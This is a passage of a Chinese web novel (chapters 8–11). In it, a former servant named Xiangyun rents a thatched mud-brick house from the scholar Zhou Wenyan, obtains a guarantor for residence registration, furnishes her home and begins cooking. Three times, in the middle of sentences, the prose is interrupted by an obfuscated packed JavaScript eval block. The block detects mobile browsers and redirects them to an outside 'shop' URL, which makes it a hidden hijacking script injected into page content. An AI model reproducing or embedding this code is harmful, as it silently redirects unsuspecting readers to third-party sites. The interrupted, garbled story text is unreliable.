接着徐牙婆又带了香云去了另一处院子，这是个单门独院，也是青砖瓦房，看着应该没起几年，还挺新的。 院子不大不小，朝南一间正屋，里头一明一暗，东边则是一间厢房。 院子里茅房和厨房倒是有，只是这价格却有些高，开口就要八百文一月。 香云见了虽觉得不错，只价格实在有些高了，还没挣银子呢，可不能败家一样先往外花上一大笔的。 徐牙婆见香云又摇了摇头，便又带她去瞧了另外几个地方。 一直到晌午时分，香云看了好几处地方，却依旧没有便宜又中意的。 眼看着徐牙婆陪着自己走了半日，香云都有些过意不去了。 一脸愧疚道：“今日不妨就先这样，都快到吃饭的时候了，您不若先去吃饭，其他事下午再说。” 徐牙婆自是看见了香云眼中神态，爽朗笑道：“干我们这行的，这样的事儿是常有的，姑娘别觉得不好意思。 出门在外都不容易，你耽搁一日，晚上就还得去住客栈，又得花银钱，不如早点将屋子定下来才好。 走走走，我早上从家里带了些干粮和小菜过来，姑娘跟我一道简单吃了，我们下午继续去看房子。” 说罢这话，徐牙婆就拉着香云返回牙行，香云被她牵着走路，好半天都没说出话来。 异乡陌生大娘的关心，让香云有些动容，却也感慨，自己那些家人反倒不如外人。 见自己又想起了那些没良心的，香云瞬间回过了神来。 坐在徐牙婆在牙行的那一小间屋子里，徐牙婆好客地拿出了她从家里烙的饼，就着香辣萝卜丁，很是美味。 二人一起坐着吃饼一边闲聊，徐牙婆不禁问道：“姑娘，我这有句话不知当问不当问？” “徐大娘有话不妨直说。”香云忙道。 “不知姑娘以后是想一直待在我们这，还是说暂住一段时间后还去往别处啊？” “我挺喜欢新春这个地方，若是可以的话，我想留在这里，只是苦于现如今家资不够，不能置办产业落下户籍。” 徐牙婆一听这话，猛地一拍大腿，“哎吆吆！我只当姑娘或是寻亲或是暂居，实在没想到姑娘还有这个打算。 姑娘若是想要长留此地，那有些话我可是要提前告知姑娘的，若不然真真要误了姑娘的正经事了。” 香云有些不明就里，忙道：“我初到此地，还有很多事情不懂，还请大娘赐教。” 8. 初次见面 徐牙婆喝了口茶，大口吃完剩下的烙饼，忙忙地就说起了这事。 “姑娘有所不知，因为咱们这靠河，来往船只又多，所以到这做买卖的大小客商也就多了起来。 这外乡人一多，自然就难管束了，而且近两年我们这里出了好几件外乡人为非作歹之事。 知县老爷好不生气，为此还特地想了个法子，张贴了公文告知众人。 说啊，这外乡人但凡来新春县一年以上不能落下户籍的，一律不准继续待在新春县，通通要回原籍。 不仅如此，外乡人在这赁屋居住且有落户打算的，就必须要有屋主的担保才行。 就拿姑娘来说，姑娘想要在新春落下户籍，赁好屋子后，就必须要有屋主的担保。 而且还得屋主领了你去里甲那儿走一趟，得要先在新春县附上籍才行，如若不然，你就是流民身份。 一旦得了里甲的附籍允准，你就成了这儿的浮寄户了。 这一年的时间里，切记万万不能有任何犯奸作科的事情发生。 一年后，只要你品行端方，再置办下县衙规定的产业，届时里甲便会出具文书。 到时候，你就可以拿着文书去县衙落户，届时你就正式成为新春人氏了。” 香云听了不禁有些头大，自打她记事起，身边就很少见有人离开原籍的。 现在想来，除了银钱不够外，还因为到了异乡还是会碰上这样或那样的难题。 就好比她，当时听长禄那么一说，觉得只要置产就行，可真到了新春，才发现各地的规矩还是千差万别的。 现如今，凭空又出现需要屋主担保的情况，还得先附籍，香云真是觉得被打了个措手不及。 眼看着香云眉头紧锁的模样，徐牙婆不由向香云凑近了说话。 “姑娘也别太担心了，县老爷虽出了公文，可我们底下人却也有应对之策。 想要那担保书其实也不难，只需姑娘花上些银钱就行。” 香云听后心中暗怒，她就知道会是这般，果然各地都是一样，正所谓上有法令、下有私议。 于是便问道：“只不知所费需几何啊？” “因为知县老爷治下严厉，所以不论是屋主，亦或者里甲那里都不敢多要，一般花上四五两银子就差不多了。” 徐牙婆说完后也是自顾叹了口气，现如今这世道就是如此，普通老百姓活得艰难啊。 香云原本以为花上个一二两银子也就差不多了，却没想到竟是要这么多。 对于做买卖的商户也就罢了，出这银子确实不费事。 可是这四五两银子对于香云来说，真的是很多很多了。 她身上拢共十来两银子，还得赁屋子，之后还得用作本钱做买卖。 要是出了这四五两，那自己真的是捉襟见肘了。 从初来新春县时的雀跃，到如今的心灰意冷，香云想到若是不能在这落下户籍，只怕不得不回原籍。 一想到现如今这个窘迫的境地，她再也忍不住地眼眶一红。 坐在她对面的徐牙婆看着泪水直在眼眶中打转的香云，心头不由地一软。 看香云的样子左不过二十出头的年纪，孤身一人来到这里，若不是遇到了十分的难处，又有谁愿意这样？ 她不由上前携了香云的手，长长叹了口气。 安抚她道：“你先别急，我猜你定是在银钱上犯难了，好可怜见的，你且容我想想法子。” 说罢这话，她就起身走了出去，香云只见她拉了一个年纪相仿的男子神色焦急地说着话。 不一会儿，她就回了这里，眼中似有隐隐喜气。 “我刚才倒是给你想了个主意，只要赁下他的屋子，他就能不要银子给你作保，只是成不成的，现下还不好说。 我要带你去看的这户人家是个秀才，他姓周，是以都叫他周秀才。 他家的屋子啊，从我们牙行出去拐个弯，一直往东走，走到尽头之处到了河边上也就是了。 他自己住着个小院，里面一溜几间的青砖大瓦房，左右还有厢房，那是不往外赁的。 紧挨着东河边上，与他那小院一墙之隔，还有一处祖辈留下来的茅草土坯房，就是周秀才想要赁出去的屋子。 这土坯房其实之前也陆续赁给过好几户人家，可最后都是没住多久就都搬走了。 这屋子本不是交给我来赁的，是以刚才我出去问了别人，说那屋子到现在一直都还空着，也没赁出去。 眼下，你已经到了这地步，不妨我带你去碰碰运气，或许成了也未可知！” 香云从初听时的惊喜到有些失望，脱口问道：“赁屋子的人都住不长，想必这里头定是有个什么缘故吧？” 徐牙婆听后乐呵呵笑道：“这还得从周秀才这人说起喽！说起他啊，也算是我们城南这带的名人了。 他从小就爱读书，后来十几岁上头就中了秀才，当时好不风光咧！ 这人啊太过顺了也不是什么好事，没两年，他爹娘便都相继得病离世了，只留下他一人过活。 他爹娘在世时周家光景还是不错的，良田也有十几来亩。 后来因为要筹钱给二老治病，相继就卖了不少，听说现如今就只剩下一二亩了。 他因为爹娘相继去世，再加上接连十几年埋头苦读都不曾中举，所以便不怎么爱出门。 估计是因为生活困顿，所以近两年便想着要把那间土坯房赁出去贴补些家用。 要我说这周秀才啊，也是不晓事，听说都快揭不开锅了，可还是穷讲究。 那几个赁他屋子的人，就是受不了他的诸多要求，所以才搬走的。 可他啊，丝毫不见着急，后来又说了，要赁他屋的人，必须要经他亲自会一会才行，还得合了他的眼缘。 若是他觉得赁屋之人不错，哪怕就是赁金便宜些也使得，而且他还给做担保，并且分文不取。 但他要求啊，赁他屋的人必得爱干净才行。 因为那屋子是他祖父祖母留下来的，他很有感情，邋遢不爱护之人他一概不要。 不仅如此，因为他要准备科考，所以住他旁边还必得安静，不得大声说话，更不能惹是生非。” 香云听罢这话，顿时觉得周秀才这人还挺有趣的，一时之间刚才还带了几分哭丧的脸上也有了几分笑容。 徐牙婆见状，又笑道：“姑娘你就说这人是不是穷讲究吧？ 那屋子就是个好多年的茅草土坯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432076|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房，人家愿意赁下就不错了。 你还得要求人家事事都听你安排，这谁受得了啊，这不，屋子就一直空着呢！” 香云听后笑笑只不言语，可刚才徐牙婆说的那句话她却是记在了心里。 那周秀才说了，只要赁屋之人符合他的要求，他愿意分文不收就给做担保。 对于此刻的香云来说，哪里去寻这样的大好事呢！ 而且，周秀才提出来的这几个要求对她来说并不难，只要稍微注意些就能达到。 所以，她愿意尽力去试上一试，毕竟早点将屋子定下来，她就能尽快做上小买卖挣钱了。 “这读书人自然是不同于我们这些泥腿子的，徐大娘，我本来就爱干净，屋子一定会加倍爱护。 而且我也无人可说话，安静我也能保证，要是方便的话，还劳烦您带我去见见周秀才，我想去试试看。” 徐牙婆家里也有个比香云小几岁的女儿，所以，看着眼前的香云，她很是愿意帮上一把。 “我刚才就是去帮你问这事的，本来周秀才这屋是王老汉管着的，他才说了，由我带你去也是一样。 到时候，若是谈成了这买卖赁下了屋子，佣金分点给他就行！” 香云听后忙起身朝徐牙婆拜了一拜，深谢了她。 徐牙婆忙一把扶了她起身，说话间二人就出了牙行，直往周秀才家的那方向去了。 这是一条东西走向的路，屋子都是坐北朝南走向，青砖瓦房居多，屋子前是一条约莫有四五尺宽的路。 路南边则是一条长河，河边还依稀可见三三两两的人在洗东西。 一路直往东，快到尽头处，徐牙婆就止住了脚步。 她指着眼前的屋子笑道：“瞧！这就是周秀才的住所了。正晌午，只怕在用饭呢，咱们先去看看那土坯房。” 香云笑着点了点头，跟着徐牙婆就继续往前走，刚一过了周秀才的小院，入眼就见到了那屋子。 只见朝南一间土黄色土坯正屋，屋顶上盖的是茅草，看外观的样子，感觉还算结实。 正屋西边还有一间小房子，四周则是用土墙围成的院子，院门是朝东开着的。 打开院门就可直奔东边河的码头，可以洗洗刷刷，特别方便。 虽然看着有些破败，但香云还是一眼就看中了这个屋子，这里临水又安静，对她来说再合适不过了。 徐牙婆一看便知香云是看中了这屋子，心里也很想她能顺利赁下这屋子，可是就不知周秀才那里怎么说呢！ “走，在这看没用，凡事都得试上一试，若是不成，就再想别的办法。” 说完徐牙婆就牵着香云直奔周秀才的小院门口，随着“扣、扣、扣……”几声敲门声，门缓缓打开了。 香云抬头就见到一个身穿深蓝色长衫的男子，看样子约莫有三十多岁了。 束发带着头巾，一副书生的打扮，但是生的却不文弱。 长相周正，算不得多好看，但看着挺舒服的，鼻梁高挺，眼窝微陷，目光温和，看起来沉稳内敛。 看着徐牙婆身边还站着位年轻女子，周文晏一时有些摸不清来意。 不免开口问道：“徐大娘，是您老，不知前来所为何事？” 9. 有了安身之地 徐牙婆见状忙笑道：“秀才公，您这儿我可是轻易不敢登门的。 也没别的大事，就为着您赁屋子的事儿，是王老爹让我过来问问的。” 周文晏听后点了点头，看了香云一眼，心里估摸着这就是要赁屋之人。 他便将门推开，迎了徐牙婆和香云进去。 “站在门口说话不便，进来坐吧。” 他带头在前走，领着二人进了堂屋，招呼她们坐下，又给倒了茶水。 周文晏在一旁陪坐，坐定后喝了口茶。 便对徐牙婆道：“徐大娘，王老爹应该跟你说过我的要求，不知要赁我屋子的可是眼前的姑娘？” 香云虽是第一次正儿八经跟外男相处，但毕竟在知县府上待过，是以刚进门时的局促很快也变为了镇定自若。 听到周文晏这么问，她就起身行了礼。 “先生安，正是小女想要赁先生那间屋子。” 周文晏倒没想到香云这般落落大方，虽穿着粗布衣裳，可这举止仪态绝不是乡间女子所能有的。 这时徐牙婆也适时说了香云想要在新春落户的事儿。 周文晏听后了然，他知道这两年知县出了新文，凡是赁屋想要在新春落户的都需屋主担保，可看香云这个样子，他有些犯嘀咕了。 不禁在心里暗暗道：怕不是大户人家出逃的妾也未可知，还等等我探一探才知。 遂说道：“姑娘不必多礼，想必你多少也听徐大娘说了我的一些事。 头一条我的屋子必须要好好爱护，再有绝不能打扰到我，不可惹是生非。” “先生放心，这几条我都能做到。”香云保证道。 这话音落下后，周文晏看着眼前的女子头发梳得光亮整齐，再看穿着也很朴素干净，一看就是利索人。 况且又是女子，想来也不会惹什么大事。 只是，他是要作保的，这女子是何来历，还是要探访清楚才好。 于是便开口道：“姑娘若是有心赁我的屋子，我还有些话要问姑娘，不知姑娘可否答应？” 香云知道这个要求并不过分，听说作保是要承担连坐责任的，愿意分文不取作保已经很好了，自然要问清楚的。 “小女子并无什么不可对人言的，先生有话尽管问就是。至于徐大娘，我也信她绝不是喜欢到处传话之人！” 一旁的徐牙婆听见香云这话，忙道：“姑娘和秀才公放心，今日的所有事我都不会透露一个字出去的。” 周文晏见都无异议，便开口问道：“姑娘婚配了吗？” “并不曾，孤身一人！” 又问：“不知因何来新春，家中可还有亲人？原籍又是哪里？爹娘做些什么营生？” 香云听后只在心里苦笑了几声，那些烂事终究还是要被重新提起啊！ 虽然也许扯个慌也可能混过去，可香云并不想如此，这些事并非她的错，所以不想说谎隐瞒。 于是，她缓缓开口道：“我是蒲阳县人氏，家在新平镇交河村，这是我的路引，还请先生过目。” 说罢，她就起身从包袱里拿出路引奉上。 而后又接着说道：“先生和徐大娘跟前，我不想扯谎，我家里还有爹娘和两个哥哥一个弟弟。” 说罢这话之后，香云回首那段往事，心里还是觉得有些不舒服。 终究还是停顿了片刻又道：“八岁那年，因为家里实在困难，爹娘便将我卖了做奴婢。 也是运道好我被卖到了蒲阳知县家，一直在那里做活。 这十几年家里一直不闻不问，见面就是要银子，到年底本是我赎身的日子，可是爹娘又打上了我的主意。 恰逢薛老爷高升去了京城，不要身价银子放了家中下人出府，所以我就来了这儿……” 香云只用简单几句话就说尽了这些年的苦楚和心酸，可唯有她自己知道有些事终究还需时间去平复。 周文晏再没想到眼前的女子会有如此遭遇，原本自己还以为这是哪个大户人家的逃妾，没想到竟是想岔了。 他不禁又瞥了香云一眼，见虽是面皮白皙，可那一双手却有些粗粝，绝不像是养尊处优的。 这样看来，确实与她说的身份倒也符合！ 而且，他刚才仿佛依稀可见女子眼中一闪而过的泪水，虽然她隐藏的很深。 周文晏虽然不怎么问世事，却也知道穷苦人家的女孩活得艰难。 他已经猜到刚才眼前女子所说的爹娘又打上了她的主意是何意思了。 生为女子，只要容貌尚且过得去，亲事都可能会被那些没良心的家里人做文章。 更何况眼前的女子模样俏丽，年幼时家里就狠心卖了她，现在她到了婚配的年纪，定是不会轻易放过的。 虽说刚才的一席话只是香云的一家之言，可周文晏不知为何却莫名觉得这些话绝对是真的。 他心里想着，嘴里脱口而出道：“姑娘，我能信你吗？” 香云自然没有放过男子刚才的神色，于是起身郑重拜了一拜。 “据我所知，作保是要担责的，还请先生放心，香云刚才所说绝无一字虚言，若有扯谎，愿遭天打雷劈，不得好死。” 女子一番掷地有声的承诺，让在场的二人心中皆是一惊。 周文晏当下便没了任何顾忌，他愿意去信这一回。 于是拍板道：“既如此，那就定下吧，我这屋子以后就赁给姑娘了。 赁金一月一百八十文，若是姑娘觉得合适，我们现在就签了赁屋子的文书。” 徐牙婆有些傻眼，王老汉不是说这屋子一个月赁金二百文吗，她狐疑看了一眼周文晏。 周文晏给她使了个眼色，徐牙婆心里估摸着估计是秀才公觉得这丫头可怜吧，所以便没有再开口。 虽是年久的土坯房，可却是独立的小院，还靠着河边 ，每月一百八十文，一年下来也就二两多一点，香云觉得这价格不算贵。 想着若是今天定下来，晚上就可以不用去客栈了，在土坯房里凑合一晚就行，香云脸上便隐隐有了喜气。 “好，都听先生的！”香云爽快道。 当下，周文晏便去书房立了文书来，赁金三月一给就行。 香云接过文书来，按下自己的手印，现给了五百四十文，这事便成了。 徐牙婆没想到这事竟进行得这般顺利，当下也是满脸带笑，买卖成了今天也不算白忙活。 笑道：“屋子赁下了，待会还劳烦秀才公带着香云姑娘去里甲那走一趟，得要办好附籍才行呢！” 周文晏听后回道：“我这会正好没事，就跟着你们一道出门吧，早点将事情办好宋姑娘也安心。” 香云自然是求之不得的，当下三人便一起出了周家小院。 到了牙行门口，徐牙婆关照香云道：“香云姑娘，我家就在这牙行后面的街上，你略问问就知道。 以后，若是遇上什么难事，只管来寻我！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432077|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香云听到徐牙婆这话，心中很是动容，笑着深谢了她。 二人又说了几句后，徐牙婆便进了牙行做事，香云则跟在周文晏身后。 周文晏在前走着，为了保证香云跟上，他还特地放缓了脚步。 大概走了半炷香的时间，周文晏便在一家小院门口前停了下来，他上前扣门后很快便有人来开门了。 “是文晏啊，这会儿怎么过来了？”一个身穿褐色衣裳的老妇人笑道。 “陈婶儿，里甲可在家？我找他有点事。” “在家呢，他正准备歇个午觉，快进来。”老妇人见周文晏领着个女子，不免多看了几眼。 香云也就跟着周文晏进门了，刚进院里，就见一个约莫有四十来岁的男子出来了。 “文晏，找我有事？”里甲陈有德问道。 周文晏便叫了香云到了跟前，笑道：“宋姑娘，来见过陈里甲。” 香云忙上前行礼请安，“陈里甲有礼了。” 周文晏也不绕弯子，直接道明了来意。 “这位宋姑娘是我好友的远房熟识，家里遭了难，好友因不在新春，就托我照看着。 她原是蒲阳人氏，准备在新春落户，暂时就赁了我那茅草土坯房住着。 我带了她来，一来是要给她做个担保，再者，还要恳请里甲给她先在咱们这带附籍。” 陈有德听后，只看了香云几眼，因为是周文晏带来的人，又有他作保，所以二话没说，便应了这事。 “放心，这事交给我就是，先将她路引拿来我瞧瞧！” 香云忙奉上路引，陈有德看了之后点了点头。 又道：“文晏你先写个担保文书交给我，宋姑娘附籍的事儿交给我就行，我待会就去办！ 办成后，我让我家小子去给宋姑娘送个信就成，省得你们来回跑了。” 香云忙谢了陈里甲，她很明白，这都是看在周家这位秀才公的份上，这些人才会这样客气。 周文晏点头，就去现写了一份担保文书交给陈里甲。 香云趁势便也问了新春落户的事儿，“敢问陈里甲，在新春落户置办田产的话，是个什么章程？” 陈里甲一边将担保文书收在怀里，一边回了香云的话。 “在我们这落户也容易，只要你一年里品行没问题，住满一年后，手里再有规定的田产就行。 但必得是上等良田或者是中等田地，下等田和荒地那些是不行的。 若是上等良田，只要你有三亩就行，中等田的话，得要个六亩。” 香云听后，心中有了数，跟着周文晏又在陈家说了会话，便离开了。 在回去的路上，周文晏虽在前头走着，却还是故意放慢了脚步。 “在新春这儿，上等良田一般六七两就能买到了，中等田则要三两左右。 上等良田虽价高些，可是地力肥沃，灌溉也方便，买了之后一劳永逸，不麻烦。 当然了，这只是我的想法，具体怎样决断还要姑娘自己斟酌！” 香云其实刚才就想问这事，可是想到跟陈里甲那里毕竟不熟，就未开口，没想到秀才公居然知道自己心里所想。 “多谢先生了，我会好好考虑的。” 周文晏见香云有数了，便就不再开口了，二人相顾无言地往回走。 一路上，香云心中满满地都是安定。 在新春县，她终于也有一席安身之地了，真好啊！ 10. 小屋亮堂了 不一会儿二人便回到了周文晏的小院门口前，“宋姑娘，略站一站，我去拿了钥匙给你。” 香云颔首，很快周文晏手里拿着钥匙便出来了。 他和香云边走边说道：“这房子虽是土胚房，也有些年头了，可每年我都有请人修缮的。 屋顶上的茅草都是去年过冬的时候现找人换的，今年冬天住着应该都不用担心漏风遭雨的。” 说话间二人就到了土坯房朝东的院门前，打开木门上的钥匙，随着“吱呀”一声，院内之景便尽收眼底。 香云站在院内才发觉围着院子的褐色土墙在外头看着不显，可却足有她一人还高，用来遮挡是完全不成问题的。 正屋东边离着东院墙之间还有一大块空地，角落里还搭了个小茅房，这对香云来说就很便利了。 周文晏则在前面走，先将正屋的门打开，环视了一周。 而后便道：“我小时候也是在这里住过一阵的，以前家里穷，一大家子就窝在这院里。 我时常也会过来看看，屋里也算不得十分不能入目，待会你打扫整理了晚上就能住的。” 香云跟在他身后，也进了正屋，只见正屋一大间是堂屋，放着一张方桌，并两张圆凳。 朝东隔了一个小间，还挂了个旧布帘，想来定是卧房了，掀开帘子一看，果真放着张木床。 卧房朝南的位置还开了一扇窗，天晴了若打开窗，屋里定会很亮堂。 接着又去厨房，依旧是土坯搭的灶台，除此之外，厨房里还放了不少大大小小的坛坛罐罐。 周文晏见到香云眼不错地盯着那些坛子、罐子瞧，还以为她很嫌弃。 急着开口道：“这些都是家里人之前留下的，姑娘若是用不着，我这就搬到自己院里去。” 香云一听他要拿走，怎么舍得，刚才她还在窃喜这些东西自己正用得上呢。 于是忙道：“这些可以留给我？我平日里就爱腌些小菜，您放心，所有坛罐我都会仔细用的。” 既有这话，周文晏还有什么话说，当下便欣然应准了。 屋子看完了，毕竟孤男寡女的，周文晏到底不好多留，便预备要走了。 “宋姑娘，钥匙你都拿着，以后这屋子就交给你了。 只你毕竟是女子，倘若遇到什么难事，尽可去隔壁寻我！” 香云刚才在陈里甲那儿，本就感念于周文晏说自己是他好友的相识，替自己解决了附籍之事。 现如今，又听到他这般的话语，心中实在是感激。 只是现如今她身无长物，所以上前去对着周文晏俯身便是深深一拜。 不待她开口，周文晏便道：“宋姑娘严重了，那我就先回了，你自己收拾收拾吧。” 香云送了他出去，自己便进来打扫收拾了，今晚她就想住在这，所以屋子睡前一定要弄妥当了。 她先在厨房逛了一圈，找了块破旧的布，又找了个小木桶，拎着便出了院子往东河边去了。 来回好几趟，终于先将正屋的里外两间清扫干净了。 窗户都打开，地上也泼了水，不一会屋里霉味便消散了不少。 屋里的桌凳还有床，她里里外外仔细都擦洗了好几遍，眼看着变得亮堂了起来的屋子，香云心里好不欢喜。 忙碌的时间总是过得飞快，待香云刚将厨房简单收拾归置了一下后，就见外头太阳也已经落山了。 眼看着天就要黑了，香云今晚也不打算自己做饭了，从贴身里衣取了些银钱，便关了院门出去了。 这个天气，晚上还不算太冷，香云带的包袱里还有一件以前老太太赏的夹袄，准备晚上穿着能对付一宿。 可是，屋里还差不少东西，油灯首先必得要有，还得买点吃食。 香云一路打听着寻到了一处城南这带人常去买东西的地儿，叫做绿柳巷。 地方很好找，巷子入口处有一株粗壮的垂柳树，看着应该有些年头了，想来定是因此得名的。 进去之后，挤挤挨挨都是屋子，里头都是当地老百姓自己家开的铺面。 很多都是前铺后院，前面做买卖，后头则住人。 香云先去寻了一家杂货铺子，进门就见一个半大小子殷勤周到招呼着。 “您到处看看，有什么需要的尽管跟我说。” 香云环视了一圈铺里，各式寻常家里用的东西几乎都有，东西很是齐全。 她那儿还差了不少东西呢，于是便问道：“小哥儿，若是我东西买得多，可管送货？ 我就住在同安路尽头，东河边那家，离这儿不算远。” 男孩听罢忙道：“送的，客人尽管放心，我家里还有弟弟，这都是捎带腿的事儿。” 香云见如此，便点了点头开始选起了东西。 油灯必得要一盏，灯油也要备着些。 厨房里的锅碗瓢盆也都需要，也见样挑了一些，油盐酱醋米面也都买了些。 梳头的、还有洗漱之物，也是必不可少的，再有就是针头线脑的零碎小物件儿。 零零总总，买了不少东西，当然了，钱也是花了不少。 付完银钱后，香云看着店家将买的东西拾掇齐整，她也趁便去隔壁馒头铺买了几个馒头当晚饭。 今天交了赁金，又买了不少家常用的物件，明儿还要买棉花和布匹做被子，香云想着还是能节省就节省些了。 这边，她买好馒头后，杂货铺子便有两个男孩拿着东西跟着她一路将东西送到了家。 待香云回来后，天已经擦黑了，将院门关好后，她便进屋先将油灯点了。 瞬间，随着光亮升起，小小的茅草屋，这时候也仿佛变得温暖了起来。 香云看着那一簇小小的光亮，心里只觉暖洋洋的，今晚属于她的小日子也就过起来了。 因为香云只有一个人，烧大灶费柴火，所以便在杂货铺子买了个小炉子，配了吊壶和小锅。 正巧看到杂货铺有干柴卖，所以也买了些回来。 清洗了吊壶之后，香云便挑了几根短柴火点燃，用小炉子开始烧水。 不一会儿，小炉子上就开始“咕嘟、咕嘟”冒起了热气。 香云拿出刚才洗干净的茶碗，先倒上了一大碗，坐在堂屋的桌前，啃着馒头。 不知是不是被面前那碗热水的雾气熏到了眼睛，亦或者是这份难得的静谧和自由是那样的来之不易。 香云只觉眼眶一热，但是她给硬生生逼回去了。 以后，她都不想再哭了，这条路是她自己选的，不管再苦再难，她都会勇敢坚强地走下去。 两个大馒头，一大碗热水，香云吃得很饱，饭食很简单，却吃的万般有滋味。 最近花的银子有些多，等挣到第一笔银子后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432078|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，香云想好了，到时候一定要做上几个好菜庆祝一下。 带着这希望，吃完后，她简单收拾了一下桌面。 今儿买回来的那些东西还没整理呢，刚吃完馒头，不宜太饱入睡，所以她便趁势将东西都放置齐整了。 很是忙了一阵子后，看着外头夜已经深了，香云便从包袱里拿出了那间冬天穿的夹袄，穿在身上凑合睡了一晚。 次日，依旧是天蒙蒙亮，香云就醒来了，虽然不再给别人当差，可是多年养成的习惯始终是没法改变。 醒来后，香云也不想再睡了，今天，她还有很多事情要做。 将睡觉时的袄子脱下装好，她麻利梳洗了之后，就去厨房煮了点粥，昨日还剩了个馒头，就着粥也吃了。 等吃完早饭之后，外头的天也亮了起来。 昨晚上的硬板床实在是睡得不舒坦，所以今儿第一件事便是要将睡觉的铺盖置办齐全。 将屋里屋外收拾妥当后，香云便又再次出门了。 依旧是去绿柳巷，昨儿她已经打听过好了，那里也有卖棉花和被褥的铺子。 到了地方，找到铺子，想着这都秋日了 ，所以香云便多买了一些棉花和布匹，连带着过冬的被褥一起准备好。 她睡觉的卧房里只孤零零地一张床，很多东西没地儿放，所以香云在经过卖二手木器的铺子里，又低价买了一个木箱。 虽然她还想添一张梳妆桌儿，可想想日渐变少的银钱，只得是忍着以后再买了。 往回走的时候，香云正巧看到绿柳巷大柳树下有不少大娘、大爷在摆摊儿卖菜蔬还有鲜活鱼。 她昨日已经买好了米面之类的，家里还差些菜蔬，挑了两样后，见到鲜活鱼，实在是没忍住。 “大爷，这活鱼怎么卖？”香云不禁问道。 “姑娘，这都是我们自家捕捞的，不贵，只五文便能买到一斤！”大爷忙道。 香云听后眼睛一亮，果然是临河地界儿，这鱼真便宜，活蹦乱跳的，一看就好吃。 她以前在厨房也是知道行情的，像这样的活鱼，蒲阳得要十几文一斤。 香云想着昨日欠了周文晏那样大的人情，瞧着眼前的鲜鱼，便想买了回去炖好送去，正好做个顺水人情。 “大爷，我看你这鱼剩下的也没多少了，不如便宜些，我都要了。” 大爷只剩下这鱼篓里的几条鱼了，想着卖完早回家了，所以最后一起十文都给了香云。 等香云提着东西到家后不久，送木箱的人也到了。 因着还没到做饭的时间，香云便先赶着缝制棉被，为了尽快将被子赶出来，她飞针走线，一点不敢分心走神。 虽然做精细绣活香云不是很在行，但是简单的缝制被褥的活计，她做起来还是得心应手的。 一鼓作气，直到晌午时分，香云便做好了一床被子，中午简单做了些饭食，饭后香云继续做活。 到了傍晚时分，另一床厚被子和下面铺的褥子，就都完工了。 香云摸着发酸的脖颈，看着眼前的两床崭新棉被和一床新褥子，实在是高兴。 她兴致勃勃先将床铺好，上去试了试，棉被暖和，很是舒服。 “待明日再晒个太阳，就更好了。”香云不禁喃喃自语道。 眼看到了傍晚时分，香云起来活动了一下筋骨，便又去厨房忙活上了…… 11. 猪油、大馒头和鱼汤 现在她的那间小厨房跟昨日所见，完全是变了个样。 原本堆得七零八落的坛坛罐罐，现如今都被香云清洗干净，有序地堆放在了厨房的角落里。 厨房原是有一个小小橱柜的，可因为常年无人好好打理，导致橱柜上积满了油污，很是不堪入目。 今日，香云特地烧了些热水，将壁橱搬到院中好好清洗了一遍，晾干后摆在厨房里很是成了个样子。 将在杂货店购置的米面酱醋盐之类的东西和碗筷、器具便都放在上面，厨房里一下子就有了人气儿。 因为买了鲜鱼预备炖了送给周文晏，所以香云还特地去肉铺买了一小块猪板油。 这无论什么菜，若是没有油，始终就会少了很多滋味儿。 要杀鱼切猪板油，就得有刀，说时迟那时快，香云便进卧房从包袱里拿了一个布包出来。 小心地将其打开，入眼的则是几个长条状缠着布的东西，放开缠着的布，原来是几把刀具。 俱是磨得铮亮锋利，香云拿在手里很是珍惜地摸了摸。 当初离开薛家时，老太太除了帮她办了路引，又给了些药丸之外，临走的时候还让萍儿送了她这些刀具。 说这几样都是她在延福院小厨房用惯了的，送了给她，也是全了一片主仆之谊。 香云很是感念，正所谓不当家不知柴米贵，她昨儿经过打铁铺的时候特地去问了一下。 她手里的这几把刀具，若是现买的话，可得不少银钱呢！ 想到自己受了老太太那样的恩情，以后定也不会再见了，香云从内心深处希望薛家以后能越来越好。 眼看着天色渐渐暗了下来，香云也就抛开了这些想头，开始麻溜做事了。 先将猪板油清洗干净切成小块，因为猪板油不多，所以就用买的小炉子。 炉子上的火旺了之后，放上小锅，猪板油放进去，加少量的水，小火慢慢熬着。 随着锅里温度原来越高，白色的猪板油也渐渐地变小，锅里的油也越发多了起来。 直等到锅里猪板油变成微黄色的油渣，这油也就练成了。 猪板油散发出的香气在厨房里经久不散，香云吸了吸鼻子，在盛出来的一点猪油渣撒上几粒盐花。 趁热捏了一块扔进嘴里，香气扑鼻，酥脆好吃，拢共没几块的猪油渣很快便都进了她的肚子。 将猪油倒进小盅里，待油温下来之后，现在还是清亮的猪油明天就会变成雪白色的膏状。 炼好猪油后，香云便提着刀去杀鱼了。 